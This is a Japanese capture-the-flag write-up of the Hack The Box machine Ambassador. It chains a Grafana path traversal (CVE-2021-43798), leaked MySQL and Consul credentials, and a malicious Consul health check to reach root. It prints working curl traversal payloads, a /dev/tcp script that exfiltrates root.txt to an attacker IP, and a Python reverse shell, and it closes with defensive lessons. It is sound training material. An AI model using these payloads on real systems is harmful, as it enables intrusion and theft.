Hack The BoxのWriteup(Ambassador)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Ambassador — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 3000/grafana, 3306/mysql
CVE-2021-43798
Grafana ディレクトリトラバーサル LFI
grafana.ini / mysql.yaml
admin & MySQL 平文資格情報
whackywidget.users
developer の base64 パスワード
SSH developer
user.txt ✓
Git 履歴
tidy前コミットにConsulトークン残存
enable_script_checks=true
config.d書込可 → 悪性ヘルスチェック
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.228.56
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest: HTTP/1.0 302 Found ... Location: /login
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
ℹ️
3000/tcp は nmap のフィンガープリントでは正体不明(“ppp?”)だが、レスポンスの Location: /login から Web アプリと推測できる。実際に HTTP でアクセスすると Grafana であることが判明する。

ポート80: Ambassador Development Server (Hugo静的サイト)

BASH
echo "10.129.228.56 ambassador.htb" | sudo tee -a /etc/hosts
curl -s http://ambassador.htb/ | grep -A3 "Recent Posts"
RESULT
Welcome to the Ambassador Development Server

Hi there! This server exists to provide developers at Ambassador with a
standalone development environment. When you start as a developer at
Ambassador, you will be assigned a development server of your own to use.
Connecting to this machine Use the developer account to SSH, DevOps will
give you the password.
ℹ️
developer という SSH アカウントの存在が明示されている。パスワードは 「DevOpsが渡す」とあり、後続の Grafana/MySQL 経路で実際に発見することになる。

ポート3000: Grafana v8.2.0 の確認

BASH
curl -s http://ambassador.htb:3000/api/health
RESULT
{"commit":"...","database":"ok","version":"8.2.0"}
🚨
Grafana 8.2.0 は CVE-2021-43798(ディレクトリトラバーサル & 任意ファイル読み取り) に該当する既知の脆弱バージョン。
PHASE 2

CVE-2021-43798 — Grafana ディレクトリトラバーサル LFI

/etc/passwd での脆弱性確認

BASH
curl --path-as-is \
  "http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
⚠️
--path-as-is フラグが必須。指定しないと curl 自身が URL 中の ../ を 正規化(圧縮)してしまい、パストラバーサルペイロードが無効化される。任意のプラグイン名 (この例では alertlist)を経由し、十分な数の ../ でファイルシステム ルートまで遡ってから絶対パスを付与する。

grafana.ini から admin パスワードを窃取

BASH
curl --path-as-is \
  "http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini" \
  | grep admin_password
RESULT
admin_password = messageInABottle685427
Grafana admin 資格情報
admin : messageInABottle685427

provisioning/datasources/mysql.yaml から MySQL 資格情報を窃取

NOTE
Grafana へ admin としてログインすると Configuration → Data sources に
"mysql.yaml" という provisioned データソースが1件登録されているのが見える。
Grafana は provisioning 設定を /etc/grafana/provisioning/datasources/ 配下の
YAML ファイルから読み込む仕様のため、同じ LFI でそのファイルを直接読む。
BASH
curl --path-as-is \
  "http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml"
RESULT
apiVersion: 1
datasources:
 - name: mysql.yaml
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: dontStandSoCloseToMe63221!
   editable: false
PHASE 3

MySQL 資格情報の連鎖 & user.txt 取得

MySQL への接続と whackywidget DB の発見

BASH
# Kali の MariaDB クライアントは自己署名証明書のTLSネゴシエーションで
# 失敗することがあるため --skip-ssl を付与するとよい
mysql -u grafana -p'dontStandSoCloseToMe63221!' -h ambassador.htb --skip-ssl \
  -e "SHOW DATABASES;"
RESULT
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget        |
+--------------------+
ℹ️
既定の DB 群に混じる whackywidget という独自命名の DB が目を引く (社内システム/アプリ用と推測できる)。

users テーブルから developer のパスワードを取得

BASH
mysql -u grafana -p'dontStandSoCloseToMe63221!' -h ambassador.htb --skip-ssl \
  -N -B -e "SELECT pass FROM whackywidget.users WHERE user='developer';"
RESULT
YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==
BASH
echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
RESULT
anEnglishManInNewYork027468

SSH ログイン & user.txt 取得

BASH
ssh developer@ambassador.htb
# パスワード: anEnglishManInNewYork027468
developer@ambassador:~$ id
developer@ambassador:~$ cat user.txt
RESULT
uid=1000(developer) gid=1000(developer) groups=1000(developer)
0b19ba5eb6d7f5581ee81483ad16c77d
user.txt — developer
0b19ba5eb6d7f5581ee81483ad16c77d
PHASE 4

Git 履歴から漏洩する Consul ACL トークン

/opt/my-app の調査 — Consulを参照するスクリプト発見

BASH
developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh
RESULT
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
ℹ️
現在のバージョンには CONSUL_HTTP_TOKEN の実値がなく環境変数として渡す想定になっている。 /opt/my-app は Git 管理下(.git ディレクトリあり)であるため、 コミット履歴に過去のトークンが残っていないか確認する。

git log でコミット履歴を確認

BASH
developer@ambassador:/opt/my-app$ git log
RESULT
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
    .gitignore
🚨
最新コミットのメッセージ「tidy config script」は「整理した(=何かを削除・整形した)」 ことを示唆する。1つ前の「config script」コミットに、整理される前の(トークン付き)版が 残っている可能性が高い。

過去コミットへチェックアウトしてトークンを復元

BASH
# developer は /opt 配下に書き込めないため /tmp にコピーしてから操作する
cp -R /opt/my-app/ /tmp/
cd /tmp/my-app/
git checkout c982db8eff6f10f8f3a7d802f79f2705e7a21b55
cat whackywidget/put-config-in-consul.sh
RESULT
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD before running

consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
Consul ACL HTTP トークン (Git履歴から復元)
bb03b43b-1d81-d62b-24b5-39540ee469b5
PHASE 5

Consul の設定ミス調査 & トークン検証

root権限で動くConsulエージェントの設定確認

BASH
ps aux | grep consul
cat /etc/consul.d/consul.hcl
ls -ld /etc/consul.d/config.d/
RESULT
root  1093  ... /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl

acl {
  enabled        = true
  default_policy = "deny"
  down_policy    = "extend-cache"
}
enable_script_checks = true

drwx-wx--- 2 root developer 4096 ... /etc/consul.d/config.d/
🚨
3つの条件が揃っている:①Consul エージェントが root で稼働、② enable_script_checks = true(ヘルスチェック定義内で任意コマンドの実行を許可する設定)、 ③ /etc/consul.d/config.d/developer グループに書き込み可能。 ACLが有効(default_policy = deny)でも、Phase 4 で得た正当なトークンがあれば API 経由でリロードを指示できる。

トークンの動作確認

BASH
export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
consul kv put test hello
consul kv get test
RESULT
hello
トークンが有効であることを確認。次にこのトークンで enable_script_checks を悪用する。
PHASE 6

悪性ヘルスチェック定義の設置 → root.txt

悪性ヘルスチェック .hcl の作成

NOTE
Consul のヘルスチェック定義(.hcl)は "args" フィールドに任意のコマンド配列を
指定できる。/etc/consul.d/config.d/ に新しい .hcl を置き consul reload すれば、
root権限のConsulエージェントがそのコマンドを実行してくれる。
BASH
cat > /etc/consul.d/config.d/pwn.hcl << 'EOF'
enable_script_checks = true

check = {
  id = "pwn"
  args = ["/usr/bin/bash", "/tmp/exfil.sh"]
  interval = "10s"
}
EOF
⚠️
ハマりどころ: interval を短く(例:10秒)設定すると、Consul が ヘルスチェックの実行に許容する時間も短くなり、対話的なリバースシェルを張って 後から追加コマンドを送る方式だと、次のコマンドを送信する前にプロセスが強制終了され 接続が切断されることを確認した(root プロンプトと打ち込んだコマンドの一部だけが エコーバックされ、実際の出力が届く前に接続が切れる)。安定して結果を得るには、 接続確立と同時に必要な情報を一方向で送りつけて即座に終了するワンショット方式 にするか、interval を60秒以上に長く取るとよい。

ワンショット exfil スクリプトの配置

BASH
cat > /tmp/exfil.sh << 'EOF'
#!/bin/bash
exec 3<>/dev/tcp/10.10.15.201/19031
cat /root/root.txt >&3 2>/dev/null
exec 3<&-
EOF
chmod +x /tmp/exfil.sh
BASH (Kali側: リスナー)
nc -nvlp 19031

consul reload の実行

BASH
export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
consul reload
RESULT
Configuration reload triggered
RESULT (nc リスナー側、数秒後)
listening on [any] 19031 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.56] ...
165971fe50b2246abefb6fdfe0eb4749
Consul エージェントがヘルスチェックとして root 権限でスクリプトを実行し、 root.txt の内容がそのまま Kali のリスナーへ届いた。
root.txt — root
165971fe50b2246abefb6fdfe0eb4749

(参考) 対話的リバースシェルでの検証

NOTE
interval を長め(60秒)に設定した場合は、以下のような対話的な Python リバースシェルでも
問題なく動作し、cat /root/root.txt 等を自由に実行できる:
BASH (args に指定するペイロード例)
#!/bin/bash
export RHOST="10.10.15.201";export RPORT=4444;python3 -c \
'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
RESULT
nc -nvlp 4444
listening on [any] 4444 ...
connect to [...] from (UNKNOWN) [...] ...
# id
uid=0(root) gid=0(root) groups=0(root)
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — developer
0b19ba5eb6d7f5581ee81483ad16c77d
root.txt — root
165971fe50b2246abefb6fdfe0eb4749

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2021-43798 Grafana 8.2.0 (3000/tcp) 任意ファイル読み取り Critical /public/plugins/<plugin>/../../../../etc/<file>形式のパストラバーサルでgrafana.ini・provisioning設定を窃取
平文資格情報の保存 grafana.ini / mysql.yaml / whackywidget.users 横展開用資格情報の連鎖漏洩 Medium 設定ファイル・DBに平文/base64のみで資格情報が保存されていた
Git履歴への機密情報混入 /opt/my-app (.git) 削除済みはずの認証トークンの復元 Medium "tidy"コミットで削除される前の"config script"コミットにConsulトークンが残存
Consul enable_script_checks 設定ミス root権限で動くConsulエージェント root権限での任意コード実行 High developerグループ書込可能なconfig.dへ悪性ヘルスチェック(.hcl)を設置しreload

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + Hugo静的サイト閲覧22/80/3000/3306、Grafana 8.2.0検出、developerアカウントの存在
2Grafana LFICVE-2021-43798 パストラバーサルadmin資格情報 + MySQL資格情報
3MySQL探索whackywidget.users テーブルダンプ + base64デコードuser.txt(developer)
4Git履歴調査git log + 過去コミットへのcheckoutConsul ACL HTTPトークン
5Consul調査設定ファイル確認 + トークン動作検証enable_script_checks設定ミスの確認
6権限昇格悪性ヘルスチェック定義 + consul reloadroot.txt

学んだ教訓 & 防御策

問題点防御策
古いバージョンのGrafana(8.2.0)に既知のディレクトリトラバーサル脆弱性が存在 Grafanaを速やかに最新版へアップデートし、脆弱性情報を継続的に監視する。
設定ファイル・データベースに資格情報が平文/軽度な難読化(base64)のみで保存されている シークレット管理システム(Vault等)を利用し、設定ファイルやDBに平文の資格情報を残さない。
削除したつもりの機密情報がGitコミット履歴に残存する 機密情報が誤ってコミットされた場合は`git filter-repo`等で履歴自体から完全に除去する。単に新しいコミットで削除しただけでは復元可能。
Consul の enable_script_checks が有効かつ設定ディレクトリが非rootで書込可能 enable_script_checksは極力使用しない(代替: enable_local_script_checksで更に制限)。 rootで動くサービスの設定ディレクトリの書込権限は最小限にする。
HackTheBox: Ambassador | 完全攻略レポート